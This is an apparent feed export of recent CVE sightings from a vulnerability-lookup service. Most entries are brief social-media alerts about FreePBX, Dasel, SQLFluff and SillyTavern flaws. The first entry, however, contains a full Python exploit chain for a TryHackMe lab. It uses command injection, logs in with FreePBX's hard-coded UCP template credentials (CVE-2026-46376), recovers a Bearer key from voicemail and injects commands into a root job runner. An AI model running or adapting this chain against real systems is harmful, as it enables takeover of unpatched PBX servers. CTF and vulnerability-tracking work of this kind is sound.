https://vulnerability.circl.lu/sightings/feed 2026-10-04T19:00:43.418476+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/19a28309-d016-4845-afd2-27876838589f/export 2026-10-04T19:00:43.444966+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "19a28309-d016-4845-afd2-27876838589f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "https://gist.github.com/anir0y/7ee4801cba330d1ae562d3e9a6422b0e", "content": "#!/usr/bin/env python3\n\"\"\"\nInfinity Pool (TryHackMe, Hacker Holidays 2026 Day 11) - full chain to root.\n\n 1. Command injection in the edge tool /internal/netcheck (ping, shell=True)\n gives code execution as the web user and the user flag.\n 2. The Watchtower ops console on 127.0.0.1:3000 leaks FreePBX UCP credentials\n and the automation endpoint on 127.0.0.1:9000.\n 3. CVE-2026-46376: FreePBXUCPTemplateCreator ships with hard-coded UCP\n credentials. Logging into UCP unlocks the mailbox.\n 4. The automation Bearer key is stashed in a voicemail message's caller-ID,\n read back through the UCP Voicemail grid API.\n 5. The automation job runner on :9000 runs as root and builds\n tar czf /var/automation/exports/.tgz /var/automation/data\n with the attacker-controlled report name. Injecting a shell metacharacter\n into report executes commands as root.\n\nThe internal services are loopback-only, so this script runs its curls THROUGH\nthe netcheck command injection (the same primitive as the foothold). Point it at\nthe public edge IP.\n\nUsage:\n python3 infinity_pool.py 10.10.10.10\n\nAuthor: anir0y | https://classroom.anir0y.in\n\"\"\"\n\nimport sys\nimport re\nimport requests\n\nUCP_USER = \"FreePBXUCPTemplateCreator\" # CVE-2026-46376 hard-coded template account\nUCP_PASS = \"St4yN0t1c3d_2026\" # leaked by the watchtower /api/config\nVM_EXT = \"9919988\" # the template account's extension\n\n\ndef netcheck(base, cmd):\n \"\"\"Run a shell command on the box via the edge command injection, return stdout.\"\"\"\n r = requests.post(f\"{base}/internal/netcheck\",\n data={\"host\": f\"127.0.0.1; {cmd}\"}, timeout=30)\n m = re.search(r'\n(.*?)', r.text, re.S)\n out = m.group(1) if m else \"\"\n # strip the ping noise the command shares its output with\n return \"\\n\".join(l for l in out.splitlines()\n if not re.search(r\"PING |icmp_seq|packet loss|rtt min|--- 127\", l))\n\n\ndef main():\n if len(sys.argv) < 2:\n sys.exit(f\"usage: {sys.argv[0]} \")\n base = f\"http://{sys.argv[1]}\"\n\n print(\"[*] step 1: command injection -> web + user flag\")\n print(\" \" + netcheck(base, \"id\").strip())\n print(\" user flag: \" + netcheck(base, \"cat /home/web/user.txt\").strip())\n\n print(\"[*] step 2: watchtower leaks the UCP creds and the automation endpoint\")\n print(\" \" + netcheck(base, \"curl -s http://127.0.0.1:3000/api/config\").strip()[:160] + \" ...\")\n\n # steps 3-4 run entirely on the box (UCP is loopback-only). A small helper\n # script is executed via the injection: log in, then read the voicemail grid.\n print(\"[*] step 3+4: UCP login (CVE-2026-46376) and read the key from the voicemail CID\")\n helper = r'''\nB=http://127.0.0.1:8080\nTOK=$(curl -s -c /tmp/cj $B/ucp/index.php | grep -oE 'name=\"token\" value=\"[^\"]+\"' | grep -oE 'value=\"[^\"]+\"' | head -1 | sed 's/value=\"//;s/\"//')\ncurl -s -b /tmp/cj -c /tmp/cj -X POST $B/ucp/index.php --data-urlencode \"username=%s\" --data-urlencode \"password=%s\" --data-urlencode \"token=$TOK\" --data \"module=User&command=login\" >/dev/null\ncurl -s -b /tmp/cj -H \"X-Requested-With: XMLHttpRequest\" \"$B/ucp/index.php?module=voicemail&command=grid&folder=INBOX&ext=%s\"\n''' % (UCP_USER, UCP_PASS, VM_EXT)\n grid = netcheck(base, \"bash -c \" + repr(helper))\n km = re.search(r\"cc_auto_[0-9a-f]+\", grid)\n if not km:\n sys.exit(\"[-] could not recover the automation key from the voicemail\")\n key = km.group(0)\n print(\" automation key: \" + key)\n\n print(\"[*] step 5: inject into the root job runner's report name\")\n cmd = (\"curl -s -X POST http://127.0.0.1:9000/jobs/export \"\n f\"-H 'Authorization: Bearer {key}' -H 'Content-Type: application/json' \"\n \"-d '{\\\"report\\\":\\\"x; id; echo ---; cat /root/root.txt #\\\"}'\")\n out = netcheck(base, cmd)\n print(out.strip())\n fm = re.search(r\"THM\\{[^}]+\\}\", out)\n if fm:\n print(\"\\n[+] root flag: \" + fm.group(0))\n\n\nif __name__ == \"__main__\":\n main()\n", "creation_timestamp": "2026-08-07T16:11:35.427559Z"} 2026-08-07T16:11:35.427559+00:00 https://vulnerability.circl.lu/sighting/a4fcfbe5-ab36-4f99-a366-255e422d3c3c/export 2026-10-04T19:00:43.448457+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "a4fcfbe5-ab36-4f99-a366-255e422d3c3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "https://bsky.app/profile/vulny-app.bsky.social/post/3ms2etnzim62m", "content": "A critical-severity fix just shipped for Sangoma Freepbx. If your stack uses it, patch to the fixed release soon. Quietly closes the gap before anyone goes looking. CVE-2026-46376", "creation_timestamp": "2026-08-01T21:08:01.390515Z"} 2026-08-01T21:08:01.390515+00:00 https://vulnerability.circl.lu/sighting/4644fc99-69df-432d-9af4-23058550dcd6/export 2026-10-04T19:00:43.448549+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "4644fc99-69df-432d-9af4-23058550dcd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46377", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqrzidqrfn2w", "content": "CVE-2026-46377 - Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string\nCVE ID : CVE-2026-46377\n \n Published : July 16, 2026, 7:16 p.m. | 18\u00a0minutes ago\n \n Description : Dasel is a command-line tool and library for querying, modifying, a...", "creation_timestamp": "2026-07-16T19:58:20.753522Z"} 2026-07-16T19:58:20.753522+00:00 https://vulnerability.circl.lu/sighting/5823f86e-49c2-4175-a46b-53117714b58b/export 2026-10-04T19:00:43.448624+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "5823f86e-49c2-4175-a46b-53117714b58b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46378", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqrykn3wqb22", "content": "CVE-2026-46378 - Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal\nCVE ID : CVE-2026-46378\n \n Published : July 16, 2026, 7:16 p.m. | 18\u00a0minutes ago\n \n Description : Dasel is a command-line tool and library for querying, modifyi...", "creation_timestamp": "2026-07-16T19:41:44.191418Z"} 2026-07-16T19:41:44.191418+00:00 https://vulnerability.circl.lu/sighting/246ffa8e-bd26-4207-b0f1-9662786e5dd6/export 2026-10-04T19:00:43.448689+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "246ffa8e-bd26-4207-b0f1-9662786e5dd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motnlq7a2v2b", "content": "\ud83d\udea8 ALERT: CVE-2026-46376\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nFreePBX is an open source IP PBX. From 15.0.42 to before 16.0.45 and 17.0.7, unauthenticated users may be able to access the User Control Panel (UCP) using hard-coded initial template credentials if these were not immediately changed by the Admini", "creation_timestamp": "2026-06-22T00:40:52.539346Z"} 2026-06-22T00:40:52.539346+00:00 https://vulnerability.circl.lu/sighting/0002afa5-56e8-4e19-b2fe-2ed8b50ebe81/export 2026-10-04T19:00:43.448761+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "0002afa5-56e8-4e19-b2fe-2ed8b50ebe81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46374", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnw5atubit2n", "content": "\ud83d\udfe0 CVE-2026-46374 - High (7.5)\n\nSQLFluff is a modular SQL linter and auto-formatter with support for multiple dialects and templa...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-46374/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-10T07:00:50.365996Z"} 2026-06-10T07:00:50.365996+00:00 https://vulnerability.circl.lu/sighting/2c1a6cea-11f7-49a5-b907-c5a317913565/export 2026-10-04T19:00:43.448825+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "2c1a6cea-11f7-49a5-b907-c5a317913565", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46373", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnvwk4iogo2p", "content": "\ud83d\udfe0 CVE-2026-46373 - High (7.5)\n\nSQLFluff is a modular SQL linter and auto-formatter with support for multiple dialects and templa...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-46373/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-10T05:00:44.317370Z"} 2026-06-10T05:00:44.317370+00:00 https://vulnerability.circl.lu/sighting/e04da693-3135-4f7e-aab2-35d589027665/export 2026-10-04T19:00:43.448887+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "e04da693-3135-4f7e-aab2-35d589027665", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46373", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mnvp3uya7z2o", "content": "SQLFluff 4.1.0\u672a\u6e80\u3067\u3001\u4fe1\u983c\u3055\u308c\u3066\u3044\u306a\u3044\u30e6\u30fc\u30b6\u30fc\u304cSQL\u30af\u30a8\u30ea\u3092\u9001\u4fe1\u3059\u308b\u3068\u3001\u904e\u5270\u306a\u30cd\u30b9\u30c8\u306b\u3088\u308a\u30ea\u30bd\u30fc\u30b9\u67af\u6e07\u306b\u3088\u308b\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\u3092\u5f15\u304d\u8d77\u3053\u3059\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\nCVE-2026-46373 CVSS 7.5 | HIGH", "creation_timestamp": "2026-06-10T02:47:29.556517Z"} 2026-06-10T02:47:29.556517+00:00 https://vulnerability.circl.lu/sighting/8bb1dbfe-d4e8-400a-9b8d-193ed04fb1fe/export 2026-10-04T19:00:43.448948+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "8bb1dbfe-d4e8-400a-9b8d-193ed04fb1fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46372", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmznc7rrtw23", "content": "\ud83d\udfe0 CVE-2026-46372 - High (8.5)\n\nSillyTavern is a locally installed user interface that allows users to interact with text generat...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-46372/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-29T23:00:43.036089Z"} 2026-05-29T23:00:43.036089+00:00 https://vulnerability.circl.lu/sighting/db0a83cb-b704-4bc1-9302-27590ac4ca11/export 2026-10-04T19:00:43.449008+00:00 Automation user https://cvepremium.circl.lu/user/automation {"uuid": "db0a83cb-b704-4bc1-9302-27590ac4ca11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-46376", "type": "seen", "source": "Telegram/7Ee_ES1995AuZh7L7sqmaK3TqJ83qHuwNNd4oo-aSS2rD4M", "content": "", "creation_timestamp": "2026-05-29T21:00:04.000000Z"} 2026-05-29T21:00:04+00:00